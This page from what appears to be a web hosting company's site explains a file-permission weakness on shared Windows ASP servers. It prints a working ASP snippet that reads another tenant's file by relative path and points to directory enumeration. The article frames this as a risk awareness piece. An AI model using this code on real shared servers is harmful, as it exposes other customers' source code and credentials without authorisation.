Vancouver Website Design | Vancouver Web Design | Vancouver Web Hosting | Vancouver Website Hosting | Vancouver Email Newsletters | Vancouver Business Websites

D-Mack Media Hosting

Email Newsletter Services :  Website Portfolio :  Internet Dictionary :  Links-1 :  Links-2 :  D-Mack News :  Testimonials :  Awards

 

Security Risks on ASP Based Shared Servers

Basically, the security on shared windows servers, supporting ASP, is not very high. A simple problem, with large consequences is file security.

Let's say, user X can upload ASP pages to the directory /User/X. User Y has the same hosting package and can upload to /User/Y. Most hosts just create an FTP account for every user, pointing them to there own directory. So far, so good. Every user can upload there nice websites into there own directory.

But then, the FileSystemObject comes into the picture. Let's say user X has a file /user/X/index.asp which contains all sorts of information, but noone but him is supposed to reach the code.

If you happen to be user Y, and use the code below, you get a copy of index.asp from X his directory. The file is, on most windows based servers, readable to all ASP pages.

The code:

<%
Set fs = CreateObject("Scripting.FileSystemObject")
Set fi = fs.OpenTextFile(Server.MapPath("../X/index.asp"))
response.write fi.ReadAll
fi.close
Set fi = nothing
Set fs = nothing
%>

The explanation:

Set fs = CreateObject("Scripting.FileSystemObject")
This simply creates the object

Set fi = fs.OpenTextFile(Server.MapPath("../X/index.asp"))
This opens the specified name on the server.

response.write fi.ReadAll
This gets all the content of the file and displays it.

It is as simple as that, and that is where the danger lies.
When you have some more time you can experiment with the following items:

Set f = fs.GetFolder(Some Dir)
For Each sf in f.SubFolders ... next
For Each fi in f.Files ... next
Use this to get the content of directories if you do not know what is in them.

Just so you know, altering ASP pages not belonging to you is not allowed (in most countries, I assume). But there are also legal ways to use these pieces of code, like making a remote editor, to alter your ASP pages from everywhere.

You might be wondering if linux servers have the same problem, well they don't. File security is much stricter on linux based systems. You can still browse around the files and directories on shared systems, but only if you have access to them.
 

****************************************************************************

 

    Back to Main Articles List    
 

 

 

 

Don't hesitate to give us a call and ask some questions if you don't find your answers here!

vancouver website design Vancouver Websites

Vancouver website hosting Vancouver Web Design

Internet marketing Vancouver Web Hosting

vancouver website design

 

...or disappear

D-Mack Media Vancouver Website Hosting

multimedia services Vancouver Email Newsletters

Vancouver BC Complete Website Design

Home About Us Services Portfolio Links Contact Us

Site Map

Copyright © D-Mack MediaAll rights reserved.  :  Vancouver Website Design  :  Privacy and Copyright Policy

Page Loading Time:

D-Mack Media provides friendly and personalized multimedia services for business in Vancouver, British Columbia, Canada - Site is purpose to inform and educate businesses and individuals of available services for Vancouver website design, website hosting and domain name registration as well as customized presentations, digital photography, electronic press kits, email newsletters and Canadian business communication expertise - complete website design, domain name, hosting, digital photography, custom presentations vancouver website design, vancouver web design, website design, web design, business websites, online web presence, email newsletters, newsletter campaigns - vancouver website design, vancouver web design, vancouver website hosting, website design, website hosting, web design, web hosting, domain registration, domain name, vancouver, surrey, british columbia, bc, canada, lower mainland, greater vancouver, consultant, consultants, business, marketing, photography, proposals, photo restoration, photo manipulation, digital video production, multimedia cds, cd roms, dvd roms, ecommerce, flash, newsletters, graphic design, small business, business cards, e commerce business, internet hosting, web development, custom graphics, website templates